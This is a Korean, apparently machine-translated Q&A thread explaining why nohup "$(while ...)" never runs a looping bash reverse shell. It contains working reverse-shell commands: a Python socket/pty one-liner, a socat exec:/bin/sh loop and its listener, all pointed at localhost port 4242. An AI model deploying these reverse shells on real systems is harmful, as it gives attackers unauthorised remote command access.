작은 bash 리버스 쉘을 작성하려고 하는데 불행하게도 내 인수가 올바르게 구문 분석되지 않습니다. 특히 while 루프가 예상대로 실행되는 동안 nohup 명령은 무시됩니다. 왜 이런 일이 발생합니까?
nohup "$(while :; do python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'; sleep 5; done)" >/dev/null 2>&1 &
답변1
socat
모든 것을 한 줄에 넣지 않으면 사용하기 쉽고 읽기 쉽습니다.
nohup sh -c '
while true; do
socat tcp:localhost:4242 exec:/bin/sh,pty,stderr,setsid,ctty
sleep 5
done'
달리기:
socat tcp-listen:4242,reuseaddr -,raw,echo=0
5초 이내에 다른 터미널에 쉘 프롬프트가 나타나야 합니다.
이름/경로가 무한 루프의 출력이지만 while 루프가 반환된 후에만 명령을 실행하도록 요청하는 것은 nohup "$(while...)"
의미가 없습니다 .nohup
답변2
nohup
달릴 것이다결과실행 코드 $( … )
.
설명하자면...
다음 상황을 고려해보세요.
a=$(date)
이 명령은 *1date
과 같은 출력을 실행하고 생성합니다 . 텍스트가 줄에 삽입되어 다음과 같은 결과가 발생합니다.Thu, 25 Jan 2024 23:20:48
a='Thu, 25 Jan 2024 23:20:48'
그런 다음 할당을 수행합니다.
이제 이것을 고려하십시오:
a=$(echo hello; sleep 300; echo world)
내부에서 명령을 실행하면 $( … )
결과가 나오지만 hello {newline} world
5분 정도 걸립니다. 임무는 아직 시작되지 않았습니다. 마지막으로 우리는 다음과 같은 결과를 얻습니다.
a='hello
world'
그리고 할당이 수행될 수 있습니다.
이제 이것을 여러분의 상황에 적용해 보겠습니다.
nohup "$(while :; do python3 …; done)" >/dev/null 2>&1
먼저 $( … )
내부의 코드를 실행해 보세요. 불행히도 그것은 결코 끝나지 않습니다. 만약 여기서 끝났다면결과그런 다음 코드를 실행하기 위한 정보가 에 전달됩니다 nohup
. 그러나 종료되지 않으므로 nohup
실행되지 않습니다.
이 시도:
nohup sh -c "while :; do python3 'import…'; done" >/dev/null 2>&1 &
\"
Python 코드에 사용되는 큰따옴표는 쉘( sh
)이 시작과 연관시키지 않도록 이스케이프되어야 합니다 "
.
1* 실제로 date
개행 문자로 끝나는 값을 반환합니다. 그러나 쉘은 보간할 때 후행 줄 바꿈을 좋아 sh
하고 제거합니다 bash
. 왜냐하면 이것이 (보통) 예상되기 때문입니다.